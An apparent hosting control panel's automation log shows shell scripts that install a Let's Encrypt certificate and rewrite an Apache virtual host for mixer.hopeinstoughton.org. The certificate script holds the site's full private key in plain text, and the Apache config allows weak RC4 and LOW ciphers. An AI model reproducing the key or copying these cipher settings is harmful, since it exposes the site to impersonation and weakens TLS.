MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:15:33: Establishing a connection
2026-01-03 19:15:34: Establishing a connection
2026-01-03 19:15:35: 

PUT: /tmp/pkp905931

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_mixer/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-03 19:15:36: 

chmod 755 /tmp/pkp905931; /tmp/pkp905931; rm /tmp/pkp905931

2026-01-03 19:15:36: 


0


2026-01-03 19:16:04: Establishing a connection
2026-01-03 19:16:05: 

PUT: /tmp/pkp666333

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7

cat > $temp_file <<'endmsg'
2d:92:88:b8:29:5e:5d:63:b7:7f:22:dd:ea:a6:60:82

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBd1euzTYylMZmceTfWXIoZAGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTgxNzMzWhcNMjYwNDAzMTgxNzMyWjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA0QGJ4vB1p1htS8fli/EDWkuty5vDUp0GUFXgp1keF9uiKtLm
FI+tq77bgvG5Hel3qKd4AFa6rbgY7VpA58PGW24OOJfnrfnmnCMAks1V7/DE+rdX
gIA69Es1NjpY9ftqkx68YUBVui6/VI1G4BUtS7YMKRgKAqF9XzI/WC3NdEGKRV/5
3EQ+LvszNnODWfnfZBMkk8EFk8pVUtXqFSxupsOvGXPVPWIhuw8XYinET+1bI07k
gNybv0wEJcuIzaPhVrx9Z9ALIWO+Js7AT4n8SwtmYZXI1kr/0e7dG4M9OsycyY77
+YpmMncOwtg1FBns+SUpcTGtC4dCASNzjCulXwIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBTZANOCUZWxg1DVmEpcaqv4ajgS4zAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYw
JDAioCCgHoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy83LmNybDCCAQwGCisGAQQB
1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4h
AAABm4VJxocAAAQDAEcwRQIgNNFTsr3qiwr0hoRTPjXkkTm5Eh1f62278dyqO6UC
LYcCIQCJ7iRFD5K06/C1PzLd2PzACTPmPdeq8KPkg+CM62AvkgB+AKXJeJJdV0YX
gocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAABm4VJyHcACAAABQAtvxNRBAMARzBF
AiADrRhTmi+TvhT+wCWdhQceDWMYL+E6cWeQ35pQRktM5wIhAL45eDvPf/cD6USU
PLKLhnNQBmBorQoc2X4/ILkcWS+vMA0GCSqGSIb3DQEBCwUAA4IBAQBtoujgKe+D
k/vYRzalaXMTRisqiSNx5p/s7OUJLpVIQudsRlSZCg/ihg4JnkDrNko/1xM5ZN/K
wUnIpBTkEbfr2iJ6vpe5zcXAKa4uMdTF7stSq/oB0Iq3cGH44wPh50rk2s0lZVFG
B/6nPtYbIXbf886x5RQQ6b2WQ6YTZSiSYHjALtvQBJuAyGl5BKMrpcCU7zSJlcer
0Hny6nB98cKQCfhU7s/5P5qDm3oqs1LIuojIUInCIQS2P84lJCbgcRAE0mPVgzgB
WwnCqbFqJrB8uv9A5VaEkNIqofepocOuUaEudEm649zYRHVRidGEwSNO9UOzQ4RJ
RRQ9yjtqgjJj
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDRAYni8HWnWG1L
x+WL8QNaS63Lm8NSnQZQVeCnWR4X26Iq0uYUj62rvtuC8bkd6Xeop3gAVrqtuBjt
WkDnw8Zbbg44l+et+eacIwCSzVXv8MT6t1eAgDr0SzU2Olj1+2qTHrxhQFW6Lr9U
jUbgFS1LtgwpGAoCoX1fMj9YLc10QYpFX/ncRD4u+zM2c4NZ+d9kEySTwQWTylVS
1eoVLG6mw68Zc9U9YiG7DxdiKcRP7VsjTuSA3Ju/TAQly4jNo+FWvH1n0AshY74m
zsBPifxLC2ZhlcjWSv/R7t0bgz06zJzJjvv5imYydw7C2DUUGez5JSlxMa0Lh0IB
I3OMK6VfAgMBAAECggEADknSTl8X+//HQQtXvbBqr+1FOAqHA4p+mFa2oVot/NLk
DD9swUfCnLTTNul64/jxAuj9WDCVrzNLE6GRlwaYSenaiQiW1cWkJqpx60H5t7SN
vYIei5y4lbjf2Lw2bA1AZPG7Tn63yEmn2jTqUn7AIPvqFZPHeL883e7by8BzL5j9
HlYRI+ZhW78VhuEFmZw4GoPOlBjlvxqe9n2rNFISps8N7AQObxvQ3dzXh9u36RDI
DiYuyRwzX2f8uMH8Rx5Va5DfSFdIUKpO1Oeh04CDosreBH6UEa0Rv5vkyivSuv35
BF36sE8TcKdUpILx4S3FVNnoK9AI8u6YCwYynfQtCQKBgQDxK8VWOYTbQAYHCH0b
l/+Q9Be6J0AdO38ebbpkG5JUrD0ev5lL1ftBMWGTsnCaOirYrYifmalF4RoazEcP
RIMkuSMD8UUMBqQy7RnhfkCe1cyFfPE21r0UHFPvA1QMSSoQHUVFLdj7v8ksAGfF
12dOyOR+UvsTvvKvcbjuqw9u3QKBgQDd23b5/jwf05AiyrgxLFxy41S8sJrIAR4N
VGpfe7Wzda0XNo/x9UgjUCfm4Iskl85K1H8nhGO+CPih3WQc+/XowFx1hwEypYCW
ONKsjAPga9O8RALfuvYKhoY9/VUPh0KEnbfCgvzyxu8Goe6OH3tV8uQkBTGfUdM8
ZeGxTjMbawKBgBCIrK29ocMaP4+J4HHc2NOKOHo1qKqYYp2mbingzgZqDIKoJg1R
7TjJ9uOWTyvzou5Z70zpzvYQeaaurIx6aPdCjgj+KHqrleQ75xNTgYCiLbRVHYBh
9nKDgqmXM9LnzS9vokkc3Ixd2J/gozyoCNgY47lZXQc8hwzKIiCSr6stAoGAQLcc
/I1xomMHP27czdM/4G95r1TgwYi56G+AW/vtI70m0Yej85N2CH8ANLO5QuJZVbCo
qrFOmwdo52Z6Jo5EzDEYh1vrOIfYe3l10slA9Dzf1aINKJAT5zwYeoqkPlRZTe/n
w4CMIpFu9gNUX/bE9mxUqkEtmWi38n1RmXPTKqMCgYBMENR1bxuq2kwj5xm9Qns0
NyzAPpwM0Ah9+XPWGo03Quiwu/oeWb0wgjEJG9nY+L6AVZXRGuRf1JT+M1AmQNyw
6aOrcdnB91ib6RVOMOsU/bCwKPV1iOesFP3tzwOm0tIF0/N6DguTQCWcLRPGzdHM
FijmP4EuguhO/PrfwxMZQQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-03 19:16:06: 

chmod 755 /tmp/pkp666333; /tmp/pkp666333; rm /tmp/pkp666333

2026-01-03 19:16:06: 


dir=/etc/ssl/certs


2026-01-03 19:16:06: 

PUT: /tmp/pkp452046

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-03 19:16:06: 

chmod 755 /tmp/pkp452046; /tmp/pkp452046; rm /tmp/pkp452046

2026-01-03 19:16:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 49
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>






2026-01-03 19:16:07: 

PUT: /tmp/pkp631282

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_mixer_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf= 1'
fi


2026-01-03 19:16:07: 

chmod 755 /tmp/pkp631282; /tmp/pkp631282; rm /tmp/pkp631282

2026-01-03 19:16:07: 




2026-01-03 19:16:07: 

PUT: /tmp/pkp582353

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-03 19:16:08: 

chmod 755 /tmp/pkp582353; /tmp/pkp582353; rm /tmp/pkp582353

2026-01-03 19:16:08: 


.


2026-01-03 19:16:08: Establishing a connection
2026-01-03 19:16:09: 

PUT: /tmp/pkp328137

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:16:10: 

chmod 755 /tmp/pkp328137; /tmp/pkp328137; rm /tmp/pkp328137

2026-01-03 19:16:10: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
